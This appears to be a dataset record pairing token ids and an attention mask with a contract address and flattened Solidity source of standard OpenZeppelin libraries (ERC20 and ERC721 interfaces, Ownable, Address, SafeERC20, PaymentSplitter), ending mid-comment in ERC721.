[ 101, 1014, 2595, 2683, 2575, 2546, 2683, 2575, 16703, 2497, 17788, 2546, 2620, 2581, 22610, 2575, 2683, 2683, 2575, 2683, 4246, 2683, 12521, 16147, 11329, 27421, 2575, 11788, 2546, 23833, 2094, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1022, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,548
0x96f98c60c04ba6fe47b3315e3689b270b3952e26
// File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/finance/PaymentSplitter.sol // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * 